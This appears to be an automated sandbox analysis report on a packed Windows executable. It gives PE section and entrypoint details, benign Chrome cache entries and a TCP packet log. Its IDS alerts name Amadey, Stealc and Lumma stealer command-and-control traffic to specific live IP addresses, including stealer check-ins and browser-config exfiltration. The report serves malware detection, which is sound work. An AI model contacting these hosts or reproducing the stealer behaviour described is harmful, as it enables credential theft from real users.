File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 512

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132990
Entropy (8bit):	5.435135975061485
Encrypted:	false
SSDEEP:	3072:f9kX3ioI5wrfFiC8jMbk/5xnREpvsMTwR2i6o:fG3dDFqr/5xnREpvrwR8o
MD5:	DCFBDB2A6E821EB129AC8352EF4A44C2
SHA1:	B62C6C6DF09FA0CF56F5A36078A77F4778A56BA6
SHA-256:	717E356D2A2A8076BEE1A9CB214AB62E1BAFBD0F1559105497F34834C5B782A1
SHA-512:	9F1B56FE1CE78A705A71A1CF71C7FB3C66AA061BD5FD701E816A3214CEE34EAFCFCD6C23233EFE78EB72D0A575D6CA7EF0C6CD1FB57B3B37E93DC06F1A28CC25
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 513

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 514

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.946804158408744
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'821'184 bytes
MD5:	e6360ebf4fbd15fd1bdf0088eb78ca22
SHA1:	b174a406b9305eed8f81e382960085a45a283fd5
SHA256:	4010093c111ec0be1515414d06b8c33bbe67c1d7a95b10da70efe79860e17116
SHA512:	5965c1002c3c833b183a65f55ed8be44f1faca8b7ec9dd7adf3996d6162f2b5a60d1859d3b4e04aa6e38a8826503ae514d24d2f1149168723029bdbab0befa2e
SSDEEP:	49152:4yJYurVX4WBGPh7mQfMyX9HohTGfQMq46:4DaIWUp7mQftX9HohTz74
TLSH:	208533574CD2B5EFC1BC05B846A31E22F0F4DD56926A40DA0F5A075BAC01F26F62FA2D
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa9e000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F0F9079F76Ah
push gs
sbb eax, dword ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F0F907A1765h
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	7d812fed6cca63d79cf7d8d99d90c7b5	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x2b0	0x200	7a3e045915362fff475412853207cad3	False	0.798828125	data	6.033491506166914	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2ae000	0x200	942406ad02cc4ffb2bfce8bf081496ac	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
zrgpiaez	0x4fa000	0x1a3000	0x1a2c00	e2078fe23d3816594232324c44e8571f	False	0.9948863106343283	data	7.954733521694788	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
idzbeopi	0x69d000	0x1000	0x400	0280c9dc991281bdf310b16dd13bc945	False	0.7646484375	data	6.007120832873079	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x69e000	0x3000	0x2200	fbd7ef92d4a1cb1a0ecbb8ad2dd53a47	False	0.06996783088235294	DOS executable (COM)	0.7305931014564162	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69c950	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-26T16:31:03.611135+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	50098	TCP
2024-11-26T16:31:13.952180+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49720	185.215.113.206	80	TCP
2024-11-26T16:31:14.551078+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49720	185.215.113.206	80	TCP
2024-11-26T16:31:14.672889+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.6	49720	TCP
2024-11-26T16:31:15.005265+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49720	185.215.113.206	80	TCP
2024-11-26T16:31:15.132320+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.6	49720	TCP
2024-11-26T16:31:17.139164+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49720	185.215.113.206	80	TCP
2024-11-26T16:31:18.051400+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49720	185.215.113.206	80	TCP
2024-11-26T16:31:42.563294+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49809	185.215.113.206	80	TCP
2024-11-26T16:31:44.646120+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49809	185.215.113.206	80	TCP
2024-11-26T16:31:46.305038+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49809	185.215.113.206	80	TCP
2024-11-26T16:31:47.454412+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49809	185.215.113.206	80	TCP
2024-11-26T16:31:51.219598+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49809	185.215.113.206	80	TCP
2024-11-26T16:31:52.513970+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49809	185.215.113.206	80	TCP
2024-11-26T16:31:58.576837+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49937	185.215.113.16	80	TCP
2024-11-26T16:33:06.028198+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	50091	185.215.113.43	80	TCP
2024-11-26T16:33:10.680552+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50103	185.215.113.16	80	TCP
2024-11-26T16:33:17.174132+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50118	172.67.187.240	443	TCP
2024-11-26T16:33:18.252301+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	50118	172.67.187.240	443	TCP
2024-11-26T16:33:18.252301+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50118	172.67.187.240	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 26, 2024 16:31:04.997354031 CET	49674	443	192.168.2.6	173.222.162.64
Nov 26, 2024 16:31:04.997360945 CET	49673	443	192.168.2.6	173.222.162.64
Nov 26, 2024 16:31:05.309824944 CET	49672	443	192.168.2.6	173.222.162.64
Nov 26, 2024 16:31:06.411717892 CET	49711	443	192.168.2.6	20.190.147.7
Nov 26, 2024 16:31:06.411772013 CET	49711	443	192.168.2.6	20.190.147.7
Nov 26, 2024 16:31:06.412216902 CET	49715	443	192.168.2.6	20.190.147.7
Nov 26, 2024 16:31:06.412267923 CET	443	49715	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:06.412471056 CET	49715	443	192.168.2.6	20.190.147.7
Nov 26, 2024 16:31:06.412668943 CET	49715	443	192.168.2.6	20.190.147.7
Nov 26, 2024 16:31:06.412686110 CET	443	49715	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:06.426541090 CET	49716	443	192.168.2.6	20.190.147.7
Nov 26, 2024 16:31:06.426582098 CET	443	49716	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:06.426671028 CET	49716	443	192.168.2.6	20.190.147.7
Nov 26, 2024 16:31:06.426915884 CET	49716	443	192.168.2.6	20.190.147.7
Nov 26, 2024 16:31:06.426928043 CET	443	49716	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:06.535382986 CET	443	49711	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:06.535408974 CET	443	49711	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:06.535550117 CET	443	49711	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:06.535598993 CET	443	49711	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:06.535701036 CET	443	49711	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:07.030221939 CET	443	49711	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:07.030268908 CET	443	49711	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:07.030345917 CET	49711	443	192.168.2.6	20.190.147.7
Nov 26, 2024 16:31:07.032018900 CET	443	49711	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:07.033282042 CET	443	49711	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:07.033337116 CET	49711	443	192.168.2.6	20.190.147.7
Nov 26, 2024 16:31:07.041220903 CET	443	49711	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:07.041877985 CET	443	49711	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:07.041932106 CET	49711	443	192.168.2.6	20.190.147.7
Nov 26, 2024 16:31:07.050210953 CET	443	49711	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:07.050844908 CET	443	49711	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:07.050966024 CET	49711	443	192.168.2.6	20.190.147.7
Nov 26, 2024 16:31:07.063071012 CET	443	49711	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:07.063111067 CET	443	49711	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:07.063208103 CET	49711	443	192.168.2.6	20.190.147.7
Nov 26, 2024 16:31:07.068273067 CET	443	49711	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:07.122339010 CET	49711	443	192.168.2.6	20.190.147.7
Nov 26, 2024 16:31:07.366223097 CET	49717	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:07.366262913 CET	443	49717	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:07.366363049 CET	49717	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:07.371299982 CET	49717	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:07.371321917 CET	443	49717	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:08.208012104 CET	443	49716	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:08.208096981 CET	49716	443	192.168.2.6	20.190.147.7
Nov 26, 2024 16:31:08.246568918 CET	443	49715	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:08.246649981 CET	49715	443	192.168.2.6	20.190.147.7
Nov 26, 2024 16:31:08.258338928 CET	49716	443	192.168.2.6	20.190.147.7
Nov 26, 2024 16:31:08.258359909 CET	443	49716	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:08.258658886 CET	443	49716	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:08.259694099 CET	49715	443	192.168.2.6	20.190.147.7
Nov 26, 2024 16:31:08.259715080 CET	443	49715	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:08.259928942 CET	443	49715	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:08.260056019 CET	49716	443	192.168.2.6	20.190.147.7
Nov 26, 2024 16:31:08.260128975 CET	49716	443	192.168.2.6	20.190.147.7
Nov 26, 2024 16:31:08.260168076 CET	443	49716	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:08.260447025 CET	49715	443	192.168.2.6	20.190.147.7
Nov 26, 2024 16:31:08.260484934 CET	49715	443	192.168.2.6	20.190.147.7
Nov 26, 2024 16:31:08.260514021 CET	443	49715	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:08.907659054 CET	443	49716	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:08.907721043 CET	443	49716	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:08.907757044 CET	443	49716	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:08.907803059 CET	49716	443	192.168.2.6	20.190.147.7
Nov 26, 2024 16:31:08.907819033 CET	443	49716	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:08.907859087 CET	49716	443	192.168.2.6	20.190.147.7
Nov 26, 2024 16:31:08.908123016 CET	49716	443	192.168.2.6	20.190.147.7
Nov 26, 2024 16:31:08.908144951 CET	49716	443	192.168.2.6	20.190.147.7
Nov 26, 2024 16:31:08.908267975 CET	443	49716	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:08.908303976 CET	443	49716	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:08.908345938 CET	49716	443	192.168.2.6	20.190.147.7
Nov 26, 2024 16:31:08.935018063 CET	443	49715	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:08.935040951 CET	443	49715	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:08.935075998 CET	443	49715	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:08.935117006 CET	49715	443	192.168.2.6	20.190.147.7
Nov 26, 2024 16:31:08.935132027 CET	443	49715	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:08.935156107 CET	49715	443	192.168.2.6	20.190.147.7
Nov 26, 2024 16:31:08.939047098 CET	49715	443	192.168.2.6	20.190.147.7
Nov 26, 2024 16:31:08.939094067 CET	49715	443	192.168.2.6	20.190.147.7
Nov 26, 2024 16:31:08.939213991 CET	443	49715	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:08.939245939 CET	443	49715	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:08.939336061 CET	49715	443	192.168.2.6	20.190.147.7
Nov 26, 2024 16:31:09.043658972 CET	49718	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:09.043714046 CET	443	49718	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:09.043773890 CET	49718	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:09.044272900 CET	49718	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:09.044285059 CET	443	49718	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:09.044564009 CET	49719	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:09.044606924 CET	443	49719	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:09.044677973 CET	49719	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:09.045043945 CET	49719	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:09.045061111 CET	443	49719	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:09.123481035 CET	443	49717	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:09.123596907 CET	49717	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:09.140202999 CET	49717	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:09.140225887 CET	443	49717	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:09.140467882 CET	443	49717	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:09.140580893 CET	49717	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:09.141707897 CET	49717	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:09.141740084 CET	443	49717	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:09.728132010 CET	443	49717	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:09.728159904 CET	443	49717	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:09.728174925 CET	443	49717	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:09.728208065 CET	49717	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:09.728244066 CET	49717	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:09.728255987 CET	443	49717	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:09.728270054 CET	49717	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:09.728347063 CET	49717	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:09.899085999 CET	443	49717	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:09.899182081 CET	49717	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:09.899205923 CET	443	49717	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:09.899296045 CET	49717	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:09.899331093 CET	49717	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:09.899389029 CET	443	49717	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:09.899560928 CET	443	49717	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:09.899633884 CET	49717	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:09.899633884 CET	49717	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:10.855292082 CET	443	49718	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:10.855376005 CET	49718	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:10.906716108 CET	443	49719	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:10.906843901 CET	49719	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:11.126214981 CET	49718	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:11.126256943 CET	443	49718	20.223.36.55	192.168.2.6
